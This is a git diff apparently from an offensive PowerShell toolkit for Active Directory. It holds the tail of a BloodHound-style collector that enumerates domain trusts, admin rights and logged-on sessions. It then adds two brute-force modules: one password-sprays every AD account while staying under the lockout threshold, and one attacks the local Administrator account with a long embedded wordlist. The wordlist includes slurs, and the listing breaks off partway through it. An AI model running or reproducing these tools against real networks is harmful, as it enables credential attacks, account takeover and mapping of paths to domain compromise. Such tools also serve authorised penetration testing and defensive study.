+ Write-Verbose "Mapping domain trusts" + Invoke-MapDomainTrust | ForEach-Object { + if($_.SourceDomain) { + $SourceDomain = $_.SourceDomain + } + else { + $SourceDomain = $_.SourceName + } + if($_.TargetDomain) { + $TargetDomain = $_.TargetDomain + } + else { + $TargetDomain = $_.TargetName + } + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $TrustWriter.WriteLine("`"$SourceDomain`",`"$TargetDomain`",`"$($_.TrustDirection)`",`"$($_.TrustType)`",`"$True`"") + } + else { + $Null = $Statements.Add( @{ "statement"="MERGE (SourceDomain:Domain { name: UPPER('$SourceDomain') }) MERGE (TargetDomain:Domain { name: UPPER('$TargetDomain') })" } ) + + $TrustType = $_.TrustType + $Transitive = $True + + Switch ($_.TrustDirection) { + 'Inbound' { + $Null = $Statements.Add( @{ "statement"="MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" } ) + } + 'Outbound' { + $Null = $Statements.Add( @{ "statement"="MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain)" } ) + } + 'Bidirectional' { + $Null = $Statements.Add( @{ "statement"="MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain) MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" } ) + } + } + + } + } + if ($PSCmdlet.ParameterSetName -eq 'RESTAPI') { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + } + Write-Verbose "Done mapping domain trusts" + } + + if($UseGPOGroup -and $TargetDomains) { + ForEach ($TargetDomain in $TargetDomains) { + + Write-Verbose "Enumerating GPO local group memberships for domain $TargetDomain" + Find-GPOLocation -Domain $TargetDomain -DomainController $DomainController | ForEach-Object { + $AccountName = "$($_.ObjectName)@$($_.ObjectDomain)" + ForEach($Computer in $_.ComputerName) { + if($_.IsGroup) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$Computer`",`"$AccountName`",`"group`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (group)-[:AdminTo]->(computer)" } ) + } + } + else { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$Computer`",`"$AccountName`",`"user`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (user)-[:AdminTo]->(computer)" } ) + } + } + } + } + Write-Verbose "Done enumerating GPO local group memberships for domain $TargetDomain" + } + Write-Verbose "Done enumerating GPO local group" + # TODO: cypher query to add 'domain admins' to every found machine + } + + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() + + # script block that enumerates a server + $HostEnumBlock = { + Param($ComputerName, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2, $DomainSID2) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if($Up) { + if($UseLocalGroup2) { + # grab the users for the local admins on this server + $Results = Get-NetLocalGroup -ComputerName $TargetComputer -API -IsDomain -DomainSID $DomainSID2 + if($Results) { + $Results + } + else { + Get-NetLocalGroup -ComputerName $TargetComputer -IsDomain -DomainSID $DomainSID2 + } + } + + $IPAddress = @(Get-IPAddress -ComputerName $TargetComputer)[0].IPAddress + + if($UseSession2) { + ForEach ($Session in $(Get-NetSession -ComputerName $TargetComputer)) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } + + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + } + catch { + $CNameDNSName = $CName + } + @{ + 'UserDomain' = $Null + 'UserName' = $UserName + 'ComputerName' = $TargetComputer + 'IPAddress' = $IPAddress + 'SessionFrom' = $CName + 'SessionFromName' = $CNameDNSName + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } + + if($UseLoggedon2) { + ForEach ($User in $(Get-NetLoggedon -ComputerName $TargetComputer)) { + $UserName = $User.wkui1_username + $UserDomain = $User.wkui1_logon_domain + + # ignore local account logons + if($TargetComputer -notmatch "^$UserDomain") { + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + @{ + 'UserDomain' = $UserDomain + 'UserName' = $UserName + 'ComputerName' = $TargetComputer + 'IPAddress' = $IPAddress + 'SessionFrom' = $Null + 'SessionFromName' = $Null + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } + + ForEach ($User in $(Get-LoggedOnLocal -ComputerName $TargetComputer)) { + $UserName = $User.UserName + $UserDomain = $User.UserDomain + + # ignore local account logons ? + if($TargetComputer -notmatch "^$UserDomain") { + @{ + 'UserDomain' = $UserDomain + 'UserName' = $UserName + 'ComputerName' = $TargetComputer + 'IPAddress' = $IPAddress + 'SessionFrom' = $Null + 'SessionFromName' = $Null + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } + } + } + } + } + + PROCESS { + if ($TargetDomains -and (-not $SkipComputerEnumeration)) { + + if($Statements) { + $Statements.Clear() + } + [Array]$TargetComputers = @() + + ForEach ($TargetDomain in $TargetDomains) { + + $DomainSID = Get-DomainSid -Domain $TargetDomain + + $ScriptParameters = @{ + 'CurrentUser2' = $CurrentUser + 'UseLocalGroup2' = $UseLocalGroup + 'UseSession2' = $UseSession + 'UseLoggedon2' = $UseLoggedon + 'DomainSID2' = $DomainSID + } + + if($CollectionMethod -eq 'Stealth') { + Write-Verbose "Executing stealth computer enumeration of domain $TargetDomain" + + Write-Verbose "Querying domain $TargetDomain for File Servers" + $TargetComputers += Get-NetFileServer -Domain $TargetDomain -DomainController $DomainController + + Write-Verbose "Querying domain $TargetDomain for DFS Servers" + $TargetComputers += ForEach($DFSServer in $(Get-DFSshare -Domain $TargetDomain -DomainController $DomainController)) { + $DFSServer.RemoteServerName + } + + Write-Verbose "Querying domain $TargetDomain for Domain Controllers" + $TargetComputers += ForEach($DomainController in $(Get-NetDomainController -LDAP -DomainController $DomainController -Domain $TargetDomain)) { + $DomainController.dnshostname + } + + $TargetComputers = $TargetComputers | Where-Object {$_ -and ($_.Trim() -ne '')} | Sort-Object -Unique + } + else { + if($ComputerName) { + Write-Verbose "Using specified -ComputerName target set" + if($ComputerName -isnot [System.Array]) {$ComputerName = @($ComputerName)} + $TargetComputers = $ComputerName + } + else { + Write-Verbose "Enumerating all machines in domain $TargetDomain" + $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $ComputerADSpath + $ComputerSearcher.filter = '(sAMAccountType=805306369)' + $Null = $ComputerSearcher.PropertiesToLoad.Add('dnshostname') + $TargetComputers = $ComputerSearcher.FindAll() | ForEach-Object {$_.Properties.dnshostname} + $ComputerSearcher.Dispose() + } + } + $TargetComputers = $TargetComputers | Where-Object { $_ } + + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParameters -Threads $Threads | ForEach-Object { + if($_['Type'] -eq 'UserSession') { + if($_['SessionFromName']) { + try { + $SessionFromName = $_['SessionFromName'] + $UserName = $_['UserName'].ToUpper() + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() + + if($UserDomainMappings) { + $UserDomain = $Null + if($UserDomainMappings[$UserName]) { + if($UserDomainMappings[$UserName].Count -eq 1) { + $UserDomain = $UserDomainMappings[$UserName] + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + else { + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() + + $UserDomainMappings[$UserName] | ForEach-Object { + # for multiple GC results, set a weight of 1 for the same domain as the target computer + if($_ -eq $ComputerDomain) { + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + # and set a weight of 2 for all other users in additional domains + else { + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) + } + } + } + } + } + else { + # no user object in the GC with this username, so set the domain to "UNKNOWN" + $LoggedOnUser = "$UserName@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) + } + } + } + else { + # if not using GC mappings, set the weight to 2 + $LoggedOnUser = "$UserName@$ComputerDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + } + catch { + Write-Warning "Error extracting domain from $SessionFromName" + } + } + elseif($_['SessionFrom']) { + $SessionFromName = $_['SessionFrom'] + $LoggedOnUser = "$($_['UserName'])@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + else { + # assume Get-NetLoggedOn result + $UserDomain = $_['UserDomain'] + $UserName = $_['UserName'] + try { + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } + + $SessionFromName = $_['ComputerName'] + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + catch { + Write-Verbose "Error converting $UserDomain\$UserName : $_" + } + } + } + elseif($_['Type'] -eq 'LocalUser') { + $Parts = $_['AccountName'].split('\') + $UserDomain = $Parts[0] + $UserName = $Parts[-1] + + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } + + $ComputerName = $_['ComputerName'] + if($_['IsGroup']) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") + } + else { + $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) + } + } + else { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) + } + } + } + + if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + [GC]::Collect() + } + } + } + } + } + + END { + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + if($SessionWriter) { + $SessionWriter.Dispose() + $SessionFileStream.Dispose() + } + if($GroupWriter) { + $GroupWriter.Dispose() + $GroupFileStream.Dispose() + } + if($ContainerWriter) { + $ContainerWriter.Dispose() + $ContainerFileStream.Dispose() + } + if($GPLinkWriter) { + $GPLinkWriter.Dispose() + $GPLinkFileStream.Dispose() + } + if($ACLWriter) { + $ACLWriter.Dispose() + $ACLFileStream.Dispose() + } + if($LocalAdminWriter) { + $LocalAdminWriter.Dispose() + $LocalAdminFileStream.Dispose() + } + if($TrustWriter) { + $TrustWriter.Dispose() + $TrustsFileStream.Dispose() + } + + Write-Output "Done writing output to CSVs in: $OutputFolder\$CSVExportPrefix" + } + else { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + Write-Output "Done sending output to neo4j RESTful API interface at: $($URI.AbsoluteUri)" + } + + [GC]::Collect() + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError) +) + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ + wkui1_username = field 0 String -MarshalAs @('LPWStr') + wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') + wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') + wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ + sesi10_cname = field 0 String -MarshalAs @('LPWStr') + sesi10_username = field 1 String -MarshalAs @('LPWStr') + sesi10_time = field 2 UInt32 + sesi10_idle_time = field 3 UInt32 +} + +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] + +Set-Alias Get-BloodHoundData Invoke-BloodHound diff --git a/Modules/Brute-AD.ps1 b/Modules/Brute-AD.ps1 new file mode 100644 index 0000000..448a280 --- /dev/null +++ b/Modules/Brute-AD.ps1 @@ -0,0 +1,94 @@ +<# +.Synopsis + Brute forces active directory user accounts +.DESCRIPTION + Brute forces active directory user accounts +.EXAMPLE + PS C:\> Brute-Ad + Bruteforce all accounts in AD with a given password or list of passwords. +.EXAMPLE + Brute-Ad -list password1,password2,'$password$','$Pa55w0rd$' + Brute force all accounts in AD with a provided list of passwords. +.EXAMPLE + Brute-Ad -List password1 + Brute force all accounts in AD with just one password. +.EXAMPLE + Brute-Ad -list Password1,password2,'$password$','$Pa55w0rd$',password12345 + The provided list will be used: Password1 password2 $password$ $Pa55w0rd$ password12345 + + Username Password IsValid + -------- -------- ------- + {Administrator} $Pa55w0rd$ True + {jdoe} Password1 True +#> +function Brute-Ad +{ +[cmdletbinding()] +Param +( + [string[]]$list +) + if ($list) + { + $allpasswords = $list + Write-Output -ForegroundColor Yellow 'The provided list will be used: '$allpasswords`n + } + else + { + $allpasswords = @('Password1') + Write-Output -ForegroundColor Yellow 'The built-in list will be used: '$allpasswords`n + } + + Function Get-LockOutThreshold + { + $domain = [ADSI]"WinNT://$env:userdomain" + $Name = @{Name='DomainName';Expression={$_.Name}} + $AcctLockoutThreshold = @{Name='Account Lockout Threshold (Invalid logon attempts)';Expression={$_.MaxBadPasswordsAllowed}} + $domain | Select-Object $AcctLockoutThreshold + } + + $lockout = Get-LockOutThreshold + + Function Test-ADCredential + { + Param($username, $password, $domain) + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) + $object = New-Object PSObject | Select-Object -Property Username, Password, IsValid + $object.Username = $username; + $object.Password = $password; + $object.IsValid = $pc.ValidateCredentials($username, $password).ToString(); + return $object + } + + $domain = $env:USERDOMAIN + $username = '' + + $lockoutthres = $lockout.'Account Lockout Threshold (Invalid logon attempts)' + + if (!$lockoutthres) + { + $passwords = $allpasswords #no lockout threshold + } + elseif ($lockoutthres -eq 1) + { + $passwords = $allpasswords | Select-Object -First 1 + } + else + { + $passwords = $allpasswords | Select-Object -First ($lockoutthres -=1) + } + + $DirSearcher = New-Object System.DirectoryServices.DirectorySearcher([adsi]'') + $DirSearcher.Filter = '(&(objectCategory=Person)(objectClass=User))' + $DirSearcher.FindAll().GetEnumerator() | ForEach-Object{ + + $username = $_.Properties.samaccountname + foreach ($password in $passwords) + { + $result = Test-ADCredential $username $password + $result | Where {$_.IsValid -eq $True} + } + } +} \ No newline at end of file diff --git a/Modules/Brute-LocAdmin.ps1 b/Modules/Brute-LocAdmin.ps1 new file mode 100644 index 0000000..08190d3 --- /dev/null +++ b/Modules/Brute-LocAdmin.ps1 @@ -0,0 +1,55 @@ +<# +.Synopsis + Brute-forces local Administrator account, if no name is provided it will attempt to find this by searching the local administrators group using WMI +.DESCRIPTION + Brute-forces local Administrator account, if no name is provided it will attempt to find this by searching the local administrators group using WMI +.EXAMPLE + PS C:\> Brute-LocAdmin -Username Adm-User +#> +Function Brute-LocAdmin +{ + param($Username) + Function Test-LocAdminCred + { + Param($username, $password) + $computer = $env:COMPUTERNAME + Add-Type -assemblyname System.DirectoryServices.AccountManagement + $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) + $object = New-Object PSObject | Select-Object Username, Password, IsValid + $object.Username = $username; + $object.Password = $password; + $object.IsValid = $DS.ValidateCredentials($username, $password).ToString(); + return $object + } + + if (!$username) + { + $username = 'Administrator' + $admins = Get-WmiObject win32_groupuser + $admins = $admins |? {$_.groupcomponent -like '*"Administrators"'} + + $admins |% { + if (!$_.partcomponent.contains("Win32_Group")) { + $_.partcomponent -match ".+Domain\=(.+)\,Name\=(.+)$" > $nul + + $username = $matches[2].trim('"') + } + } + Write-Output "`n[+] Administrator not provided, found user: $username" + } + + $allpasswords = @('0987654321','1','1111','11111','111111','1111111','11111111','112233','1212','123','123123','12321','123321','1234','12345','123456','1234567','12345678','123456789','1234567890','123456a','1234abcd','1234qwer','123abc','123asd','123asdf','123qwe','12axzas21a','1313','131313','147852','1password','1q2w3e','1qwerty','2000','2112','2222','22222','222222','2222222','22222222','232323','252525','256879','2password','3333','33333','333333','3333333','33333333','36633663','4128','4321','4444','44444','444444','4444444','44444444','485112','514007','5150','54321','5555','55555','555555','5555555','55555555','654321','6666','66666','666666','6666666','66666666','6969','696969','7654321','7777','77777','777777','7777777','77777777','786786','8675309','87654321','88888','888888','8888888','88888888','987654','987654321','99999','999999','9999999','99999999','a123456','a1b2c3','aaaa','aaaaa','aaaaaa','abc123','abcdef','abgrtyu','academia','access','access14','account','action','admin','Admin','admin1','admin12','admin123','adminadmin','administrator','adriana','agosto','agustin','albert','alberto','alejandra','alejandro','alex','alexis','alpha','amanda','amanda1','amateur','america','amigos','andrea','andrew','angel','angela','angelica','angelito','angels','animal','anthony','anthony1','anything','apollo','apple','apples','argentina','armando','arsenal','arthur','arturo','asddsa','asdf','asdf123','asdf1234','asdfasdf','asdfgh','asdsa','asdzxc','ashley','ashley1','aspateso19','asshole','august','august07','aurelie','austin','az1943','baby','babygirl','babygirl1','babygurl1','backup','backupexec','badboy','bailey','ballin1','banana','barbara','barcelona','barney','baseball','baseball1','basketball','batman','batman1','beach','bean21','bear','beatles','beatriz','beaver','beavis','beebop','beer','benito','berenice','betito','bichilora','bigcock','bigdaddy','bigdick','bigdog','bigtits','bill','billy','birdie','bisounours','bitch','bitch1','bitches','biteme','black','blahblah','blazer','blessed','blink182','blonde','blondes','blowjob','blowme','blue','bodhisattva','bond007','bonita','bonnie','booboo','boobs','booger','boomer','booty','boss123','boston','brandon','brandon1','brandy','braves','brazil','brian','bronco','broncos','brooklyn','brujita','bswartz','bubba','bubbles','bubbles1','buddy','bulldog','business','buster','butter','butterfly','butthead','caballo','cachonda','calvin','camaro','cameron','camila','campus','canada','captain','carlos','carmen','carmen1','carolina','carter','casper','changeme','charles','charlie','charlie1','cheese','cheese1','chelsea','chester','chevy','chicago','chicken','chicken1','chocolate!','chocolate','chocolate1','chris','chris6','christ','christian','clustadm','cluster','cocacola','cock','codename','codeword','coffee','college','compaq','computer','computer1','consuelo','controller','cookie','cookie1','cool','cooper','corvette','cowboy','cowboys','coyote','cream','crest','Crest','crest1','Crest1','crest123','Crest123','Crest1234','crest12345','cristian','cristina','crystal','cumming','cumshot','cunt','customer','dakota','dallas','daniel','danielle','dantheman','database','dave','david','debbie','default','dell','dennis','desktop','diablo','diamond','dick','dirty','dkennedy','dmsmcb','dmz','doctor','doggie','dolphin','dolphins','domain','domino','donald','dragon','dragons','dreams','driver','eagle','eagle1','eagles','eduardo','edward','einstein','elijah','elite','elizabeth','elizabeth1','eminem','enamorada','enjoy','enter','eric','erotic','estefania','estrella','example','exchadm','exchange','explorer','extreme','faggot','faithful','falcon','family','fantasia','felicidad','felipe','fender','fernando','ferrari','files','fire','firebird','fish','fishing','florida','flower','fluffy1','flyers','foobar','foofoo','football','football1','ford','forever','forever1','forum','francisco','frank','fred','freddy','freedom','friends','friends1','frogfrog','ftp','fuck','fucked','fucker','fucking','fuckme','fuckoff','fuckyou!','fuckyou','fuckyou1','fuckyou2','futbol','futbol02','gabriela','games','gandalf','garou324','gateway','gatito','gators','gemini','george','giants','ginger','girl','girls','godisgood','godslove','golden','golf','golfer','gordon','great','green','green1','greenday1','gregory','guest','guitar','gunner','gwalton','hacker','hammer','hannah','hannover23','happy','hardcore','harley','heather','heaven','hector','hello','hello1','helpme','hentai','hermosa','hockey','hockey1','hollister1','home123','hooters','horney','horny','hotdog','hottie','house','hunter','hunting','iceman','ihavenopass','ikebanaa','iknowyoucanreadthis','iloveu','iloveu1','iloveyou!','iloveyou.','iloveyou','iloveyou1','iloveyou2','iloveyou3','internet','intranet','isabel','iwantu','jack','jackie','jackson','jaguar','jake','james','jamesbond','jamies','japan','jasmine','jason','jasper','javier','jennifer','jer2911','jeremy','jericho','jessica','jesus1','jesusc','jesuschrist','john','john316','johnny','johnson','jordan','jordan1','jordan23','jorgito','joseph','joshua','joshua1','juice','junior','justin','justin1','kakaxaqwe','kakka','kelly','kelson','kevin','kevinn','killer','king','kitten','kitty','knight','ladies','lakers','lauren','leather','legend','legolas','lemmein','letitbe','letmein','libertad','little','liverpool','liverpool1','login','london','loser1','lotus','love','love123','lovely','loveme','loveme1','lover','lovers','loveyou','loveyou1','lucky','maddog','madison','madman','maggie','magic','magnum','mallorca','manager','manolito','margarita','maria','marie1','marine','mariposa','mark','market','marlboro','martin','martina','marvin','master','matrix','matt','matthew','matthew1','maverick','maxwell','melissa','member','menace','mercedes','merlin','messenger','metallica','mexico','miamor','michael','michael1','michelle','mickey','midnight','miguelangel','mike','miller','mine','mistress','moikka','mokito','money','money159','mongola','monica','monisima','monitor','monkey','monkey1','monster','morenita','morgan','mother','mountain','movie','muffin','multimedia','murphy','music','mustang','mypass','mypassword','mypc123','myriam','myspace1','naked','nana','nanacita','nascar','nataliag','natation','nathan','naub3.','naughty','ncc1701','negrita','newpassword','newyork','nicasito','nicholas','nicole','nicole1','nigger','nigger1','nimda','ninja','nipple','nipples','nirvana1','nobody','nomeacuerdo','nonono','nopass','nopassword','notes','nothing','noviembre','nuevopc','number1','office','oliver','oracle','orange','orange1','otalab','ou812','owner','pa55w0rd','Pa55w0rd','Pa55w0rd1','Pa55w0rd2011','Pa55W0rd2011','Pa55w0rd2012','Pa55W0rd2012','Pa55w0rd2013','Pa55W0rd2013','Pa55w0rd2014','Pa55W0rd2014','Pa55w0rd2015','Pa55W0rd2015','Pa55w0rd2016','Pa55W0rd2016','Pa55word','Pa55word1','Pa55word123','packers','paloma','pamela','pana','panda1','panther','panties','papito','paramo','paris','parisdenoia','parker','pasion','pass','pass1','pass12','pass123','passion','passport','passw0rd','passwd','password!','password?','password.','password','Password!!','Password!','Password','PASSWORD','password0','password01','password02','password05','','password1','Password1','PASSWORD1','password10','password11','password12','Password12','password123','Password123','PASSWORD123','password12345','Password12345','password13','password2','Password2','PASSWORD2','password22','password23','password26','password28','password3','password32','password34','password4','password44','password45','password5','Password54321','password55','password66','password69p